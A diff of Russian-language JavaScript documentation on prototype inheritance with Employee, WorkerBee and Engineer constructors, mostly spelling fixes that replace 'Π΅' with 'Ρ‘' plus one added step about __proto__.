- <li>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>new</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² конструктор <code>Engineer</code> Π² качСствС значСния ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>this</code>.</li>
- <li>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ создаСт Π½ΠΎΠ²ΠΎΠ΅ свойство с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>base</code> для этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>base</code> ΠΈΠ· конструктора <code>WorkerBee</code>. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ конструктор <code>WorkerBee</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, созданного <code>Engineer</code>. Имя свойства <code>base</code> нС являСтся ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ словом. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС допустимоС для свойства имя; <code>base</code> всСго-лишь Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ ΠΎΒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ свойства.</li>
+ <li>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>new</code> создаёт ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ устанавливаСт Π΅Π³ΠΎ свойству <code>__proto__</code> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>Engineer.prototype</code>.</li>
+ <li>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>new</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ этот Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π² конструктор <code>Engineer</code> Π² качСствС значСния ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>this</code>.</li>
+ <li>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ создаёт Π½ΠΎΠ²ΠΎΠ΅ свойство с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>base</code> для этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства <code>base</code> ΠΈΠ· конструктора <code>WorkerBee</code>. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ конструктор <code>WorkerBee</code> ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, созданного <code>Engineer</code>. Имя свойства <code>base</code> нС являСтся ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ словом. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС допустимоС для свойства имя; <code>base</code> всСго-лишь Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ ΠΎΒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ свойства.</li>
<li>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>base</code>, пСрСдавая Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Ρ… конструктору (<code>"Doe, Jane"</code> ΠΈΒ <code>["navigator", "javascript"]</code>), Π° Ρ‚Π°ΠΊΠΆΠ΅ строку <code>"engineering"</code>. Π―Π²Π½ΠΎΠ΅ использованиС <code>"engineering"</code> Π² конструкторС ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ всС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, созданныС <code>Engineer</code>, ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для наслСдуСмого свойства <code>dept</code>, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСопрСдСляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, унаслСдованноС ΠΈΠ·Β <code>Employee</code>.</li>
- <li>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>base</code> являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>Engineer</code>, Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π° <code>base</code> JavaScript привязываСт ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ свойство <code>this</code> ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, созданному Π² шагС 1. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, функция <code>WorkerBee</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ <code>"Doe, Jane"</code> ΠΈ <code>"engineering"</code> Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор <code>Employee</code>. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΈΠ· <code>Employee</code>, функция <code>WorkerBee</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠΉΡΡ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для установки значСния свойства <code>projects</code>.</li>
+ <li>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ <code>base</code> являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>Engineer</code>, Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π° <code>base</code> JavaScript привязываСт ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ свойство <code>this</code> ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, созданному Π² шагС 1. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, функция <code>WorkerBee</code> ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ <code>"Doe, Jane"</code> ΠΈ <code>"engineering"</code> Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор <code>Employee</code>. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΈΠ· <code>Employee</code>, функция <code>WorkerBee</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΡΡ‚Π°Π²ΡˆΠΈΠΉΡΡ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ для установки значСния свойства <code>projects</code>.</li>
<li>ПослС возвращСния ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>base</code>, конструктор <code>Engineer</code> ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>machine</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>"belau"</code>.</li>
<li>ПослС возвращСния ΠΈΠ· конструктора, JavaScript присваиваСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>jane</code>.</li>
</ol>
-<p>МоТно ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Π·Π²Π°Π² <code>WorkerBee</code> ΠΈΠ· конструктора <code>Engineer</code>, Π²Ρ‹ настроили ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ наслСдованиС для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², создаваСмых <code>Engineer</code>. Π­Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊ. Π’Ρ‹Π·ΠΎΠ² конструктора <code>WorkerBee</code> обСспСчиваСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Engineer</code> запускаСтся со  свойствами, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ Π²ΠΎ всСх функциях-конструкторах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π²Ρ‹Π·Π²Π°Π½Ρ‹. Π’Π°ΠΊ, Ссли ΠΏΠΎΠ·ΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойства Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ <code>Employee</code> ΠΈΠ»ΠΈΒ <code>WorkerBee</code>, эти свойства Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΠΈΠ·Β <code>Engineer</code>. НапримСр, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ использовали ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ опрСдСлСния:</p>
+<p>МоТно ΠΏΠΎΠ΄ΡƒΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹Π·Π²Π°Π² <code>WorkerBee</code> ΠΈΠ· конструктора <code>Engineer</code>, Π²Ρ‹ настроили ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ наслСдованиС для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², создаваСмых <code>Engineer</code>. Π­Ρ‚ΠΎ Π½Π΅ Ρ‚Π°ΠΊ. Π’Ρ‹Π·ΠΎΠ² конструктора <code>WorkerBee</code> обСспСчиваСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>Engineer</code> запускаСтся со  свойствами, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π²ΠΎ всСх функциях-конструкторах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π²Ρ‹Π·Π²Π°Π½Ρ‹. Π’Π°ΠΊ, Ссли ΠΏΠΎΠ·ΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойства Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ <code>Employee</code> ΠΈΠ»ΠΈΒ <code>WorkerBee</code>, эти свойства Π½Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ ΠΈΠ·Β <code>Engineer</code>. НапримСр, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ использовали ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ опрСдСлСния:</p>
<pre class="brush: js">function Engineer (name, projs, mach) {
this.base = WorkerBee;
@@ -511,7 +511,7 @@ function Engineer (name, projs, mach) {
<li>Если искомоС свойство Π½Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΎ, считаСтся, Ρ‡Ρ‚ΠΎ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΅Π³ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚.</li>
</ol>
-<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния этих шагов Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π² ΠΊΠ°ΠΊΠΎΠΌ порядкС Π²Ρ‹ создаСтС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ ΠΈ ΠΈΡ… свойства. Рассмотрим ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ выполнСния этих шагов Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π²ΠΈΡΠ΅Ρ‚ΡŒ ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π² ΠΊΠ°ΠΊΠΎΠΌ порядкС Π²Ρ‹ создаётС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΡ‹ ΠΈ ΠΈΡ… свойства. Рассмотрим ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: js">function Employee () {
this.name = "";
@@ -524,7 +524,7 @@ function WorkerBee () {
WorkerBee.prototype = new Employee;
</pre>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π½Π° основС конструкции Π²Ρ‹ΡˆΠ΅, Π²Ρ‹ создаСтС ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>amy</code> ΠΊΠ°ΠΊ экзСмпляр класса <code>WorkerBee</code> ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ:</p>
+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π½Π° основС конструкции Π²Ρ‹ΡˆΠ΅, Π²Ρ‹ создаётС ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>amy</code> ΠΊΠ°ΠΊ экзСмпляр класса <code>WorkerBee</code> ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ:</p>
<pre class="brush: js">var amy = new WorkerBee;
</pre>
@@ -543,7 +543,7 @@ amy.projects == [];
<p>На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд вы ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ распространится Π½Π° всС экзСмпляры <code>Employee</code>. ΠžΠ΄Π½Π°ΠΊΠΎΒ ΡΡ‚ΠΎΠ³ΠΎ Π½Π΅ случится.</p>
-<p>Когда Π²Ρ‹ устанавливаСтС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ для <code>WorkerBee</code> Π²Ρ‹ создаСтС Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Employee</code>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ <code>WorkerBee.prototype</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ своС собствСнноС локальноС свойство <code>name</code>Β (Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡƒΡΡ‚ΡƒΡŽ строку). Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° JavaScript ΠΈΡ‰Π΅Ρ‚ свойство <code>name</code> Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>amy</code>Β (экзСмпляра <code>WorkerBee</code>), ΠΎΠ½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ натыкаСтся Π½Π° Π½Π΅Π³ΠΎ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅Β <code>WorkerBee.prototype,</code>Β ΠΈ Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΒ <code>Employee.prototype</code> Π΄Π΅Π»ΠΎΒ Π½Π΅ Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚.</p>
+<p>Когда Π²Ρ‹ устанавливаСтС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ для <code>WorkerBee</code> Π²Ρ‹ создаётС Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Employee</code>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ <code>WorkerBee.prototype</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ своё собствСнноС локальноС свойство <code>name</code>Β (Π² Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΡƒΡΡ‚ΡƒΡŽ строку). Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΊΠΎΠ³Π΄Π° JavaScript ΠΈΡ‰Π΅Ρ‚ свойство <code>name</code> Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>amy</code>Β (экзСмпляра <code>WorkerBee</code>), ΠΎΠ½ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ натыкаСтся Π½Π° Π½Π΅Π³ΠΎ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅Β <code>WorkerBee.prototype,</code>Β ΠΈ Π΄ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΒ <code>Employee.prototype</code> Π΄Π΅Π»ΠΎΒ Π½Π΅ Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚.</p>
<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π²ΠΎ врСмя Ρ€Π°Π±ΠΎΡ‚Ρ‹ прилоТСния, ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ это ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π½Π° всС ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ экзСмпляры, Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ это свойство Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора. ВмСсто ΡΡ‚ΠΎΠ³ΠΎΒ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ свойство Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ, ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ конструктору. Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Π²Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΏΠΎΠΊΠ°Π·Π°Π½ Π²Ρ‹ΡˆΠ΅, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
@@ -617,7 +617,7 @@ instanceOf (chris, Employee)
instanceOf (chris, Object)
</pre>
-<p>Но ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Π΅Ρ‚ <code>false</code>:</p>
+<p>Но ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>:</p>
<pre class="brush: js">instanceOf (chris, SalesPerson)
</pre>
@@ -635,13 +635,13 @@ function Employee (name, dept) {
}
</pre>
-<p>Π—Π΄Π΅ΡΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаСтС Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code>Employee</code>, конструктор присваиваСт Сму всС Π½ΠΎΠ²Ρ‹ΠΉ ΠΈ Π½ΠΎΠ²Ρ‹ΠΉΒ ID увСличивая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ глобальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>idCounter</code>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅, <code>victoria.id</code> станСт Ρ€Π°Π²Π½Ρ‹ΠΌΒ 1 Π° <code>harry.id</code>Β β€”Β 2:</p>
+<p>Π—Π΄Π΅ΡΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаётС Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code>Employee</code>, конструктор присваиваСт Сму всС Π½ΠΎΠ²Ρ‹ΠΉ ΠΈ Π½ΠΎΠ²Ρ‹ΠΉΒ ID увСличивая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ глобальной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>idCounter</code>. Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊΠΎΠ΄Π° Π½ΠΈΠΆΠ΅, <code>victoria.id</code> станСт Ρ€Π°Π²Π½Ρ‹ΠΌΒ 1 Π° <code>harry.id</code>Β β€”Β 2:</p>
<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
var harry = new Employee("Tschopik, Harry", "sales")
</pre>
-<p>Навскидку, всС выглядит прСдсказуСмо. Однако, <code>idCounter</code> увСличиваСтся ΠΏΡ€ΠΈ создании ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Employee</code> Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ†Π΅Π»ΠΈ Π΅Π³ΠΎ создания. Если Π²Ρ‹ создаСтС ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ класса <code>Employee,</code> ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π²Ρ‹ΡˆΠ΅ Π² этой Π³Π»Π°Π²Π΅, конструктор <code>Employee</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊ ΠΆΠ΅ Π²Ρ‹Π·Π²Π°Π½ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ устанавливаСтС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ для подклассов. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ раскрываСт ΡΡƒΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉΒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹:</p>
+<p>Навскидку, всС выглядит прСдсказуСмо. Однако, <code>idCounter</code> увСличиваСтся ΠΏΡ€ΠΈ создании ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>Employee</code> Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ†Π΅Π»ΠΈ Π΅Π³ΠΎ создания. Если Π²Ρ‹ создаётС ΠΏΠΎΠ»Π½ΡƒΡŽ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ класса <code>Employee,</code> ΠΏΠΎΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Π²Ρ‹ΡˆΠ΅ Π² этой Π³Π»Π°Π²Π΅, конструктор <code>Employee</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊ ΠΆΠ΅ Π²Ρ‹Π·Π²Π°Π½ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ устанавливаСтС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ для подклассов. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ раскрываСт ΡΡƒΡ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉΒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹:</p>
<pre class="brush: js">var idCounter = 1;
@@ -666,9 +666,9 @@ SalesPerson.prototype = new WorkerBee;
var mac = new Engineer("Wood, Mac");
</pre>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ,Β ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· конструкторов, Ρ‚Π΅Π»ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ для краткости, содСрТит вызов конструктора прародитСля. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ <code>id</code>Β Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>mac</code>Β ΠΏΡ€ΠΈΠΌΠ΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β 5 вмСсто ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠΉ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹.</p>
